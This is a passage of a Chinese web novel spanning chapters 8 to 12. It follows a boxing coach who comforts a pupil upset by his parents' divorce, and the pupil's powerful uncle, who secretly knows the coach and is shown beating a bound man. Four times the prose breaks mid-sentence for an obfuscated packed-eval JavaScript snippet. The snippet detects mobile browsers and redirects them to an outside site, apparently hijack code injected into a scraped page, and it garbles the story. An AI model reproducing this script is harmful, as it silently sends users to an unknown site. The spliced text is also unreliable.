沈白冲他们挥了挥手,嘱咐道:“家长在门口等候的小朋友可以直接离开了,家长还没来的小朋友,跟小谭老师到隔壁的休息室稍等一会儿,不要乱跑。” 沈白口中的小谭老师名叫谭青,是拳馆最近刚来的助教,正经体育大学-运动康复专业的研究生,人温柔又耐心,特别招小孩子们喜欢。 还没下课的时候谭青就已经等在门口了,此时听到沈白这么说,立刻走了进来,冲小学员们招了招手,“暂时没有找到家长的小朋友到小谭老师这里来!” 沈白确认护具和器械都全部归位,又将卫生给打扫完,手都已经按在了灯的开关上,余光忽然瞥见摆放器械的架子旁边好像有一道小小的身影。 他微微蹙眉,起身朝着架子走去,发现果然不是他看错了,架子后面的确站着个小男孩,他似乎有些无措,被发现后紧张得不停抠手指,恨不能将手指抠出血来,根本不敢抬头看沈白。 沈白很快认出了这个小男孩,应该是上个月才刚被送过来的,名字好像叫……宋唯? 他就职的这家拳馆规模不大,连沈白在内一共就只有三个老师,其中一个还是老板自己。 拳馆老板原本就是拳击手,后来在一次比赛的时候受了挺严重的腰伤,虽然因为手术及时,没有造成太严重的后果,但再想向以前那样高强度训练和比赛已经是不可能实现的了。 因伤退役之后,老板便拿着钱回了老家开办了这家拳馆。 拳馆虽然规模不是很大,却凭着过硬的教学质量在本市小有名气,向来不缺学员。 但也因为要保证教学效果,所以拳馆从开班以来一直是小班教学,每个年只开三个班,分别为幼儿组、青年组和竞赛组。 每个班只招收十五个学员,而且开班后,即便学员没有招满,中途也不会再招收学员加入。 拳馆开了很多年,一直都是这个规矩,唯独眼前这孩子是个例外。 当时沈白带的班已经开课半个多月了,学员也已经早早招满了,为了保证教学质量,按理来说是不会再有新学员加入的。 但宋唯的情况有些不同,那天沈白刚到拳馆,都还没来得及换衣服,老板便带着宋唯走了进来,说是希望这个孩子能跟着一起上课。 老板没跟沈白说原因,不过他都亲自开口了,沈白一个打工人能说什么,只能答应下来。 为了避免宋唯跟不上进度,沈白只要有空,都会让这个孩子提前半小时过来,尽量帮他追进度,不至于落后其他学员太多。 沈白看出了他的紧张,在他面前半蹲下来,伸手摸了摸他的头,温声问:“怎么了,是家长还没来接吗?” 宋唯情绪依旧有些紧绷,不过在沈白的安抚下,总算停止了抠手的行为,他瘪了瘪嘴,话还没出口,眼泪却先一步掉了下来。 沈白愣了下,起身从旁边拉了个小凳子,让小朋友坐在凳子上,又从旁边架子上的纸抽里抽了几张纸帮他擦了擦眼泪。 “能和教练说说,发生什么事情了吗?”沈白说着,像是想到什么,拉开自己的随身包,不知道从里面抓了把什么塞进了小孩手里。 果然,感觉到手里被塞了东西,小朋友的注意力很快被转移了。宋唯低头去看,这才发现手里多出了几颗花花绿绿的糖果。 沈白拿了一颗绿色的糖果,剥开糖纸塞进了小萝卜头的嘴里。 糖果的甜味很快在口腔蔓延,让原本情绪非常低落的小萝卜头眼睛变得亮晶晶的,他吸了吸鼻子,开口时声音里带着浓重的鼻音。 “教练,今天不会有人来接我了。” 即便吃了糖,得了甜,说起这件事,小萝卜头的眼睛里还是很快就蓄满了泪水。 沈白抽了张纸,给他擦了擦眼泪,耐着性子问道:“为什么这么说?” 他越是去擦,小朋友的眼泪就掉得越凶,和被拧开的水龙头似的,不多时便将整张纸给打湿了。 “因、因为……因为我爸爸妈妈要离婚了!”小朋友强忍着眼泪,停顿了好几次才断断续续说出了原因。 沈白其实不是那种很能说会道的人,恰恰相反,他不善言辞,甚至是有些沉闷的,但即使如此,他依旧笨拙地试图安慰面前这个看上去伤心至极的小朋友。 他边伸出手轻轻帮小朋友拍背顺气,边开口道:“你听谁说的,有没有可能是听错了呢?” “我、我听爸爸说的,他说、说让我劝劝妈妈不要离婚,爸、爸爸说一旦他跟妈妈离了婚,两个人很快就会有新家庭,到、到时候我就会变成……没人要的小孩。” 说到这里,小朋友情绪彻底崩溃了,“哇”的一声哭了起来。 沈白怕他情绪太激动会被糖卡住喉咙,也顾不上其他,伸手捏着小朋友的腮帮,让他把那颗糖给吐了出来。 该说不说,虽然沈白没结婚也没当过爹,但听到宋唯这话,还是被气到了。 这是当爹的该对孩子说的话吗?自己处理不了和伴侣之间的感情就已经够失败的了,居然还拖孩子下水,这行为简直令人匪夷所思。 沈白边给小朋友拍背边安慰道:“不会的,离婚只是因为爸爸妈妈之间出现了一些目前无法解决的问题,跟你没有关系,无论他们将来是否会分开,你都是他们的孩子,永远不会没人要的。” 说出这句话的时候,沈白心情其实还挺复杂的,也没有多少底气。 沈白穿书前是个孤儿,出生起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691308|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被人遗弃在了福利院,能活到成年全凭命硬。后来穿书,来到这个世界之后,好不容易有父母了,结果父母因为弟弟沈宁的病每天争吵不断。 父母离婚后,起初他们争着想要带走沈白,因为这孩子不但身体健康,而且脑子聪明,成绩很好,无论怎么看,将来都很大概率会有出息。 但沈白没同意,因为他知道,无论他选择跟谁走,沈宁都会成为被放弃的那一个。 沈白觉得,自己上辈子是孤儿,是没人要的孩子,但这辈子他有沈宁这个弟弟,他不想他弟弟和上辈子的他一样,也变成没人要的小孩。 既然父母都不想要沈宁,那他这个当哥哥的要,他会照顾好沈宁的。 沈白的拒绝被父母视为不识好歹,他们离婚之后,哪个孩子都没带走,将他们送到了奶奶家,只留下了一张银行卡,每个月往卡里各打一千块钱,算是抚养费。 所以,沈白这番安慰的话,结合他自身的经历,其实并不是那么有说服力,说出来他自己都有点不太相信。 还好宋唯年纪小,没有看出他的底气不足,似乎真的将他这番话听了进去,止住了哭泣。 宋唯攥着沈白的衣角,忐忑不安地问:“教练,你说得是真的吗,即便爸爸妈妈离婚了,我也还是他们的宝宝,他们真的不会不要我吗?” 沈白摸摸他的小脑袋,加重了语气,肯定道:“真的,无论什么时候你都是他们的宝贝,他们一定不会不要你的。” 得到了肯定答案的宋唯吸了吸鼻子,那张遍布泪痕的小脸,终于有了放晴的迹象。 沈白见他情绪逐渐平稳下来,终于稍稍松了口气,他拉起宋唯的小手,将小朋友从凳子上带起来,温声道:“教练先带你去洗把脸,然后我们去休息室找小谭老师,好吗?” 宋唯很是听话地点了点头,乖乖巧巧应道:“好!” 沈白抱着小朋友去了洗手间,给他洗了把脸,准备连带着把手也洗一下的时候,发现他小手里还攥着自己刚才给的糖果。 “现在不吃的话,教练先帮你放口袋里好吗,不然待会儿糖化了会很粘手。”沈白询问小朋友的意见。 “嗯!”已经被哄好的宋唯小朋友特别配合,乖乖松开手,把糖果放到了沈白的掌心,小声道,“谢谢教练。” 沈白听到这句软软的道谢,心里说不出是什么滋味。他帮小朋友装好了糖果,见口袋还有余量,又从随身包里抓了一把,给他把口袋填得满满当当。 一大一小刚走到休息室,便听到里面传来了谭青惊喜的呼喊。 “沈教练,你可算来了,这位先生是来接宋唯的,刚才我去拳场找你们没找到,正准备给你打电话呢!” 听到是宋唯的家长来了,联想到小朋友刚才说的那番话,沈白眉心跳了跳,抬头朝着谭青身旁看去。 还没等沈白看清楚那人的样貌,便觉手中一空,低头一看,宋唯像是一颗小炮弹似的,直挺挺朝着那人便冲了过去。 小朋友一把抱住男人修长的腿,仰着小脸大声喊道:“小舅舅!” 9. 第 9 章 第9章 男人个子很高,身形修长,气质出众到哪怕只是安静站在那里,都给人一种莫名的高级感,仿佛和周围的一切分属于不同图层。 他低着头,让人看不清样貌。他似乎不太习惯被别人触碰,因此在宋唯冲过来抱住他小腿时,男人的身体微微僵了一下。 不过这僵硬并未持续多久,男人低头看了眼仰着小脸,双眼亮晶晶看着自己的小朋友,犹豫几秒,还是伸出手,动作不太熟练的将他抱了起来。 将一大一小的互动看在眼里,沈白想了想,还是开口道:“您是宋唯的小舅舅对吧?如果方便的话,能不能耽误您几分钟时间,想跟您聊聊关于宋唯的事情。” 他抱着宋唯,大概是角度问题,也可能是他刻意为之,总之小小的宋唯恰当好处的挡住了男人的大半张脸,让人看不清他的样貌,也看不清他的神色。 听到沈白的话,男人迟疑了几秒,才开口道:“可以。” “沈白,你想去哪谈?” 他的声线很独特,音质偏冷,出口的话又简洁干脆,明明同意了沈白的建议,却莫名给人一种拒人千里之外的疏离感。 沈白听他叫出自己的名字,觉得有点奇怪,如果他没记错的话,他们两个今天应该是第一次见,宋唯的小舅舅认识自己? 不过想着他今天第一次来接孩子,可能是从宋唯母亲那里得知的,所以沈白便没多想。 沈白看了眼休息室里的小朋友和门口陆续朝这边走来接孩子的家长,道:“您跟我出去谈吧,不是什么大事,也就几句话,不会耽误您太长时间。” 男人点了下头,刚要抱着宋唯跟着他出去,却听沈白道,“小唯先在休息室等一会儿好不好,教练有话想跟你小舅舅单独谈谈,就几句话,不会让小唯等很久的。” 小朋友眨了眨眼睛,看了看沈白,又看了眼小舅舅,犹豫几秒,还是乖巧点了点头,“好。” 把宋唯交给了谭青,沈白带着男人出去的时候,顺手关上了休息室的门。 两人也没走多远,在走廊的尽头,沈白简单将宋唯刚才跟他说的那些话讲给了男人听。 “……大概就是这样。” “您能见到宋唯父母的话,希望您能帮忙劝劝,孩子现在还太小,心智尚且不成熟,要是可以的话,大人之间的事情希望不要牵连到孩子。” 男人闻言沉默了很久,就在沈白琢磨是不是自己刚才说话有哪里冒犯到对方的时候,却听他开口了。 “好的,我会转达的。” 沈白松了口气,冲男人笑了笑,道:“那别的就没什么问题了,不好意思,还特意把您叫出来一趟。” “不会,你很负责,”男人摇了摇头,“还是和以前一样。” 不过由于他最后那句话声音很轻,以至于沈白完全没听清楚,他刚想说什么,却听到身后有人叫自己的名字。 “沈教练,您这会儿方便吗,过两天龙湖区准备举办一个拳击表演赛,你看我们家子琪这段时间学得怎么样,能不能给他报名,名次倒是无所谓,我主要是想让他去积累一点比赛经验。” 学生家长拿着一张宣传海报,冲沈白喊道。 沈白闻言,冲面前的宋小舅点了下头,道:“那我就不耽误您的时间了。” 看着他转身离去的背影,男人久久没有移开视线。 * 宋清辉带着宋唯回到车旁,早已经等候一旁的司机立刻弯腰帮两人拉开了车门。 宋唯小小一个,虽然刚才在教练面前哭了鼻子,但这个年纪的孩子,情绪来得快去得也快,被沈白安慰过后,又等来了他最喜欢的,许久未见的小舅舅,宋唯暂时将伤心的事情抛在了脑后。 车门刚打开,宋唯就率先冲了进去,小短腿儿非常敏捷地爬上了汽车的后座,动作熟练地自己给自己扣好安全座椅,接着冲还站在外面的宋清辉招了招手。 “小舅舅,快上来!” 宋清辉弯下腰,动作不太熟练地伸手在他头上摸了摸,对司机道:“你先送宋唯回去,我还有些事情要处理。” 司机在他身边多年,深知不该问的绝对不能多问的道理,闻言冲宋清辉鞠了一躬,恭恭敬敬道:“好的,宋先生。” “小舅舅,你不和我一起回去吗?”见宋清辉不上车,小朋友的情绪由之前的高涨瞬间转为了低落,声音里也带了几分委屈。 虽然宋唯从小就非常喜欢这个小舅舅,但其实两人之间的关系算不上多亲近,准确来说,宋清辉和宋家的任何人关系都不亲近。 他与宋家的一切都格格不入,很长一段时间都游离在宋家的权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691309|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利中心之外,是所有人眼中可有可无的边缘人物。 可谁能想到呢,偏偏就是这样一个人,却在老爷子离世后,在腥风血雨的家族内斗中屡屡据上风,最终成为了宋家真正意义上的掌权者。 如今只要提起他的名字,偌大的宋家,无论本家还是分支,无论是平日里惯爱倚老卖老的长辈,还是顽劣不堪的小辈,皆如惊弓之鸟,无不发憷的。 放眼整个宋家,也就只有宋唯敢亲近他了。 宋清辉摇头,言简意赅道:“我还有事,你先回去。” “噢,那好吧,我在家里等你,小舅舅你也不要太辛苦哦。”得到了否定答案的宋唯有些失望,但还是乖乖应下了。 宋清辉冲他点了下头,在他准备关车门的时候,忽然听到宋唯的喊声。 “等一下!!” 宋清辉关门的动作一顿,将已经关了一半的车门重新拉开,看到宋唯解开了安全座椅的卡扣,伸出小手在自己口袋里抓啊抓,抓了一大把糖果,献宝似的捧到了宋清辉面前。 “我不要。”宋清辉拒绝。 他不喜甜食,别说是糖果,连放了糖的食物和糕点都很少会吃。 可被拒绝的宋唯并不死心,执意要将糖果递给宋清辉,举着小手边往他那边挪,边急匆匆开口道:“小舅舅这和别的糖果不一样,这是沈教练给我的糖果,特别好吃!” 其实糖果都是甜的,沈白给得也不例外,甚至并不是宋唯平时常吃的那些名贵糖果,只是超市里很普通很便宜的散装水果糖。 但可能是因为沈白是在宋唯最难过的时候给他的这些糖果,恰当好处的安抚了他不安的情绪,所以在小朋友眼里,这糖果便有了特殊的意义,比平时吃到的糖果更甜更好吃。 宋清辉一开始根本没打算去接,可听到是沈白给的,他迟疑了几秒,竟真的缓缓伸出了手。 本以为肯定会被拒绝的宋唯,看着在自己面前张开的这只手,愣了愣,但反应过来后立刻将自己的宝贝糖果递了过去。 “小舅舅,你尝尝!” 宋清辉将那些糖果揣进了风衣口袋,只留下了一颗捏在手里,在宋唯满怀期待的注视下,剥开糖纸,将糖块放进嘴里。 宋唯眨巴着大眼睛,小声问道:“甜吗?”。 “……很甜。” 10. 第 10 章 第10章 接到李岩电话的时候,宋清辉停下了手里的动作,盯着屏幕认真思考了数十秒,直到电话因为许久未被接通而自动挂断,屏幕重新暗下来,他也没想好是否要接这个电话。 李岩是宋清辉的心理医生。 从两人第一次见面,到现在,仔细算算时间,他们居然认识将近五年了。 两人之间的关系一直很微妙,医患关系说不上有多好,治疗效果也没有很显著,但因为李岩是唯一一个在听完他讲述后,没有对他说什么‘放下过去重新出发’之类屁话的人。 宋清辉觉得心理医生很烦,李岩也很烦,但李岩是他接触过的那些心理医生里,已经不那么烦人的心理医生了,所以便留下了他。 宋清辉偶尔会在心情还不错的时候,向李岩预约心理咨询。为了对得起宋清辉开给他的丰厚报酬,李岩也会定期主动询问对方是否需要心理咨询。 不过多半都会被拒绝就是了。 两人之间这种诡异的医患关系居然就这么持续了五年,简直堪称奇迹。 今天在决定来接宋唯前,宋清辉破天荒的跟李岩预约了心理咨询,不过显然,他是个非常善变的男人,在见过沈白之后,他有些想要取消这次的心理咨询了。 就在宋清辉思索是否要取消这次心理咨询时,电话又一次响了起来,这次是视频通话,来电的依旧是李岩。 宋清辉犹豫了几秒,最终按下了接听键。 视频电话被接通,李岩的声音很快响起:“宋先生,下午好。” 宋清辉放下了手里的物件,慢吞吞走到了窗边,伸手将合着的百叶窗拉开,随着窗帘被拉开,外面的光线立刻洒进了室内,点亮了原本光线昏暗的房间。 他一只手拿着电话,一只手拉过桌边造型精致,雕花华丽复古的实木椅子,在窗边坐下。 李岩看着他的举动,开口道:“距离我们上次心理咨询已经过了十五天了。” “这段时间,您过得怎么样?” 宋清辉盯着他看了几秒,在李岩以为他不会回答自己的问题,正准备换个其他问题,却听他开口了。 “上午我去接宋唯,见到他了。” 虽然宋清辉没有说“他”是谁,但李岩还是一秒就明白这个“他”指得是沈白。 李岩用笔在本子上记了几笔,抬头微笑着道:“你们之间有进行交谈吗,还是只远远看了一眼,没有发生任何交集呢?” “他找我出去说了几句话。”宋清辉道。 李岩闻言,想了想,道:“方便告诉我你们聊天的内容吗?” “……” 长时间的沉默让李岩明白了他的意思,便也没再揪着这个问题追问下去,而是换了一个话题。 “跟他见面的时候,你的情绪怎么样,有感到开心吗?”李岩问道,提问的同时,认真观察宋清辉的表情和动作。 但让他失望的是,宋清辉的表情没什么变化,只是微微调整了一下坐姿,比刚才坐得更加挺直。 “他没有认出我。” 说完这句话,宋清辉声音顿了顿,几秒后才紧接着道,“看我像是在看一个陌生的,学生家长。” 李岩:“距离你们上一次见面,你还记得过去了多……” “三千七百四十二天。” 听到这个答案,李岩罕见的沉默了片刻,他提笔又在本子上记录了些什么,写完才重新抬起头,笑着道:“我刚才注意到,你在提及他没有认出你时,语气似乎有些失落。” 宋清辉蹙眉,那双幽深的眼睛直勾勾盯着镜头里的李岩,许久后才道:“我有些生气。” 李岩点了点头,道:“是因为他没有认出你,所以才会感到愤怒吗?” “不是,”宋清辉否认,他想了想,道,“我觉得可能我变化太大了,和我们最后一起见面时相比。” 李岩低头在本子添了几笔,开口道:“你认为他没有认出你的原因,是因为你相比以前变化太大了,这种变化具体体现在哪些方面呢,是样貌,还是性格方面?” 宋清辉似是被这个问题给难住了,这次沉默的时间更长了。 李岩没有开口催促,耐心等待着他给出答复。 “都有。”宋清辉得出结论,语气突然之间变得有些烦躁,“我可能还没有做好见他的准备,我本来没打算这么快见他。” 李岩:“是什么让你突然改变了计划呢?” 宋清辉歪着头,想了想,缓缓开口道:“他的前男友欠了很大一笔钱。” 闻言,李岩低头记录的手微微一顿,但他很快调整好了情绪,若无其事地问:“这件事情跟你改变计划有直接关系吗?” “他前男友骗他,说那些债务是因为投资失败,但我查过了,那些钱并不是用于投资,而是用于赌博。” 说到这里,宋清辉忽然就笑了,那双漂亮的眼睛里不知什么时候爬满了阴翳,饶是李岩早已经有了心理准备,与他四目相对时,依旧觉得身上有些凉飕飕的。 “真是个人渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691310|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”宋清辉总结道。 李岩调整了自己的情绪,开口道:“宋先生,是不是有些跑题了,我们不是在说你和沈先生的事情吗?” “是什么让你突然改变主意,决定去见他?明明你们都已经很久没有见面了。” 提起沈白,宋清辉眼里的阴翳仿佛被风吹开了似的,很快消失不见,他的情绪很快重新稳定下来。 “我以为他在得知前男友的债务问题之后,会很快和他分手。”说到这里,宋清辉似有些苦恼,“但他们依然住在一起,而且……” 李岩:“什么?” “他要帮前男友还债。”宋清辉的手无意识紧握成拳,修剪整齐的指甲深深陷入掌心,留下了触目惊心的红痕。 “嗯,我注意到,你前面说沈先生的男朋友欺骗……” “是前男友。”宋清辉打断道。 李岩从善如流地改了口,“沈先生的前男友欺骗他说那笔钱是用于投资,投资失败才欠下了巨额债务,所以有没有可能,两人之所以还住在一起,沈先生愿意帮忙还债,是因为目前还被男……前男友蒙在鼓里,并不知情呢?” 他这番合理推测明显说到了宋清辉的心坎里,宋先生的情绪肉眼可见地愉悦起来。 李岩见状,微微松了口气,刚想开口再说些什么,却忽然听到一声微弱的呻-吟,紧接着便是一连串咒骂声。 “宋清辉你个***的小*生,谁给你这么大胆子敢绑老子,我劝你赶紧把老子放了,不然老子****……” 还没等李岩反应过来,便见镜头里的宋先生无比优雅的站起身,冲他微微一笑,道:“李医生,今天的咨询就先到这里吧,有需要我会再和您约时间。” 话音落下,镜头便黑了下来。 挂断了语音通话,宋清辉将手机随手扔在了桌子上,拿起桌上还沾着血的铁棍,缓缓走到了房间的中央。 那里的地上躺着个被用绳子结结实实捆住手脚,却仍不安分的在地上不停扭动挣扎的年轻男人。 宋清辉走到他面前,用那根铁棍轻佻地抬起那人的下巴,逼迫他与自己对视。 原本满嘴脏话的男人,在和他四目相对的瞬间,立刻被他眼底的暴戾与阴翳吓得噤了声,嘴巴开开合合了半天,愣是说不出半个字。 “你和宋清瑶的事情我不管,但你千不该万不该,不该在宋唯面前自作聪明说那些没用的废话。” 而且还让那些话传进了沈白耳朵里。 “蔡骏,你真该去死。” 11. 第 11 章 第11章 “老白,外面有人找。” 沈白原本正躺在修车滑板上在车底给一辆福特做检修,听到亮子的招呼,他手脚麻利地用扳手将那几颗松动的螺丝拧紧,这才从车底滑了出来。 在洗手池旁边洗了洗手,沈白接过亮子抛来的毛巾擦了擦头上的汗,朝着汽修厂门口走去。 沈白和亮子是多年的朋友,小时候两家住的很近,又上得是同一所小学和初中,每天一起上下学,关系一直很好。 后来因为亮子学习成绩不是很好,初中读完直接被他爹扔去隔壁市读了技校,那学校是寄宿制,一个学期也就回来一两次,所以两人见面的次数也少了很多。 从技校毕业之后,亮子直接去了他爹开的小汽修厂给他爹吴师傅当学徒打下手去了,前几年他爹脑梗住院,人虽然因为及时送医没有生命危险,但还是留下了后遗症,腿脚不似以前那么灵活。 吴师傅生病之后,汽修厂便彻底交到了亮子手上,他修车手艺虽然不如吴师傅,但人挺机灵又很会来事,所以厂子交到他手上之后,倒是愈发红火起来。 沈白从小学东西就快,很多别人专门去学都不一定能学会的东西,沈白看上几次就能学个七七八八。 起初沈白只是在亮子忙不过来的时候偶尔会来帮帮忙,可渐渐地,亮子发现沈白比起他那些个学徒工聪明多了,有时候他教学徒教半天,学徒还是一脸懵逼,坐在旁边围观了全程的沈白却已经能上手了。 刚好那阵子沈白缺钱,所以亮子跟沈白商量后,便让他到自己的汽修厂上班,报酬虽然没有酒吧驻唱开得多,却也没有亏待他。 随着沈白的手艺越来越好,亮子还跟他商量过准备给他点汽修厂的股份,算沈白技术入股,不过商量了几次沈白都没答应,亮子没办法只能给他折成钱,三五不时找个由头给他塞点。 “诶诶诶,别走别走!”亮子看沈白用毛巾擦了擦脸就要往外走,连忙拦住他,从地上捡了个摔坏的倒车镜,举起来示意他看,“看脸上的灰,好歹洗把脸再出去啊。” 经他这么一提醒,沈白这才发现自己干活的时候不知道在哪儿蹭到的灰和黑乎乎的机油,整个人灰头土脸,挺埋汰的。 拧开水龙头洗了把脸,确定脸上没有脏污之后,沈白这才朝着门口走去。 才刚走出门,沈白便看到了蹲在门口的康小言。 康小言今天打扮的和平时不太一样,上面是干净的白色卫衣,下面搭了条黑色的阔腿休闲裤,整个人看上去特别清爽,像极了刚出校园没多久的青春男大。 见沈白出来,原本蹲在地上玩手机的康小言直接跳起来,冲他招呼道:“小白哥!” 沈白觉得有些稀奇,康小言是出了名的夜行动物,昼伏夜出,白天大部分时间都在睡觉,今儿太阳是打西边出来了,居然在大白天能看到他。 “我听小杨说你昨晚通宵,今天没在家里补觉啊?”沈白边问边带着他往汽修厂的休息间走。 说是休息间,其实也就是原本的杂货间被亮子和沈白稍微收拾了一下,把里面的杂物清空,放了张桌子和几把椅子,还有一台饮水机。 原本亮子还没打算弄这休息间,但去年亮子新添了台自动洗车机,原本只是想着客户修完车会顺带把车洗了,没想到因为收费便宜,这机器一装上便大受好评。 即便不修车,有客户从汽修厂门口路过,也会拐进来洗一洗。洗车不比修车需要耗费大量时间,尤其是这种自动洗车机,不排队的情况下洗一台车也就十分钟左右。 这么点时间,大部分车主都选择待在汽修厂等着,但亮子这个汽修厂规模不大,之前也没有预留单独的休息室,在客户几次三番的催促下,这才有了杂货间爆改休息间的操作。 沈白让康小言坐,自己转身弯下腰从饮水机的柜子下面拿了两个一次性纸杯,接了杯水放在了康小言面前。 “什么事电话里不能说,还用你亲自来我这跑一趟?”沈白拉开椅子,在康小言对面坐下,开口问道。 康小言将纸杯里的水一饮而尽,这才开口道:“哥,你不是前几天托我帮你打听酒水销售的事情吗,我帮你问了,我朋友那店还在招人。” “他那个店目前是有两种上班方式,一种是全职,晚上九点开门,营业到凌晨五点,全职得根据店里的营业时间上班,有底薪,但我觉得不太适合你。” “另外一种时间相对比较自由,营业期间你几点去都可以,但是没有底薪只有提成,要是卖不出去酒水的话,可能就打白工了。” 康小言说完,观察了一下沈白的脸色,见他没有不高兴,这才稍稍松了口气。 有件事情他其实撒了个谎,他朋友那店里其实人早就已经招满了,而且因为店里消费水平高,客人比较大方,加上店里给得提成也高,来钱快,所以店里从开业到现在一直没缺过销售,最近也没有招人的打算。 是康小言见沈白缺钱缺得厉害,厚着脸皮请朋友吃了顿饭,朋友这才答应下来。 本来康小言还琢磨着能不能跟他商量商量,兼职也给算底薪呢,哪怕少点,最起码万一真卖不出去酒水,也别让沈白白忙活一场。 但是吧,他这话才刚出口,朋友就贱兮兮看着他,逼问他和沈白到底是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691311|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,要是有不正当男男关系,那底薪好说,但要是只是普通朋友,那就没办法了。 康小言被朋友调侃得直翻白眼,但到底没敢说沈白是他男朋友。 他倒是想,但沈白这边最近已经够乱了,他可不想在这个节骨眼上再给沈白火上浇油,万一玩笑开大了,搞不好连朋友都没得做。 就当他是鸵鸟吧,反正他这鸵鸟性格也不是一天两天了,康小言自暴自弃地想道。 “行啊,兼职就挺好的,”沈白答应得非常爽快,算了算时间,道:“我今天晚上跟老板商量一下,看能不能把我的表演时间尽量往前排一点,尽量在十一点前结束,应该就赶得及去你朋友的店兼职了。” 见他真的要去,康小言想了想,还是有些不放心地提醒道,“小白哥,有个事儿我得提前跟你说一下。” 沈白不明所以,但还是点头道:“你说。” “我朋友那个店跟咱们的清吧不太一样,那边的客人会比较,嗯……我也不知道怎么说,你可以先去试试,要是觉得不太适应就别勉强,我再帮你找找别的兼职。” 尽管康小言说得比较委婉,但有着丰富打工经验的沈白还是很快就懂了。 沈白明白他的好意,也没拒绝他的好意,点头道:“行,谢谢你啊小言。” “你稍微等我一会儿啊,等我把手上剩下的那点活儿干完,待会儿请你吃饭,就吃上次你说的那个小龙虾吧,行吗?” 康小言脑袋摇得和拨浪鼓似的,连连摆手,“哥,就咱俩这关系,你就别跟我客气了,而且这又不是什么大事,也就是动动嘴皮子的事,不至于不至于。” 沈白哭笑不得,“又不是请你吃什么山珍海味,吃个小龙虾而已,这点钱我还是有的,咱们也好长时间没有一起吃过饭了,就这么说定了啊。” 临出门前沈白不知道从哪儿摸出一包虎皮花生,抛给康小言。 “尝尝,亮子他媳妇前两天从溪省那边带来的,挺好吃的。” 康小言手忙脚乱接住了花生,看着沈白离去的背影,忍不住道:“哥,真不用……” “等着啊,我半个小时就结束!”沈白脚原本都踏出门了,听到这话又转过身,冲他道。 康小言心里五味杂陈,一方面吧,他觉得沈白现在挺难的,不想他破费,但另一方面吧,他又真的挺想跟沈白一起吃饭的。 纠结再三,康小言还是没舍得走,想着大不了待会儿吃饭的时候自己先下手为强,先悄没声息的把单给买了。 不过让康小言没想到的是,他心心念念的这顿和沈白约的饭,这天到底还是没能吃到嘴里。 12. 第 12 章 第12章 沈白检修完那辆福克斯,刚换好衣服准备带康小言去吃饭,却接到了周牧云的电话。 这还是距离上次沈白跟周牧云提了分手之后,第一次接到周牧云打来的电话。 那天晚上要债的人离开之后,听沈白说要跟自己分手,周牧云反应特别激烈,甚至直接以死相逼,站在窗户边情绪激动的威胁沈白,敢分手就立马跳下去。 两人认识这么多年,就算是养只宠物都养出感情了,更何况是人,沈白就算再生气,也不可能眼睁睁看着周牧云在他眼前跳楼。 为了让情绪激动的周牧云冷静下来,分手的事情只能暂时搁置了。 不过两个人心里其实都有数,经过这件事情之后,感情想要再继续维持已经是不可能的事情了,分手只是时间问题。 还没有交往之前周牧云就知道,沈白是个很容易心软的人。 自己只要不犯什么大错,沈白是不可能会跟他分手的。事实也确实如此,如果不是他这次捅了天大的篓子,沈白也不会提分手。 可即便是提了分手,沈白居然还愿意帮他偿还一半的债务。 扪心自问,如果是沈白在外面欠了这么多钱,还花光了两人这么多年的积蓄,周牧云也会立刻跟对方分手,并且不可能会帮忙承担任何债务。 周牧云心里清楚,沈白已经做得足够好,说是仁至义尽也不为过。 可是,就是因为周牧云比任何人都清楚沈白有多好,所以他才不愿意放手,甚至不惜以死相逼,也想搏一个转圜的余地。 周牧云自认为非常了解沈白,殊不知他还是不够了解沈白。 沈白平时是很好说话的人,无论是别人找他帮忙也好,临时帮人代班也好,他几乎不会拒绝。 但人好不意味着优柔寡断,恰恰相反,一旦沈白认定了某件事,那么几乎不会再有回转的余地。 在周牧云的强烈反对下,分手的事情虽然被暂时延后,可沈白第二天便搬离了两人一起租住的那套房子。 期间周牧云也不是没有打电话过来,但沈白都没有接。 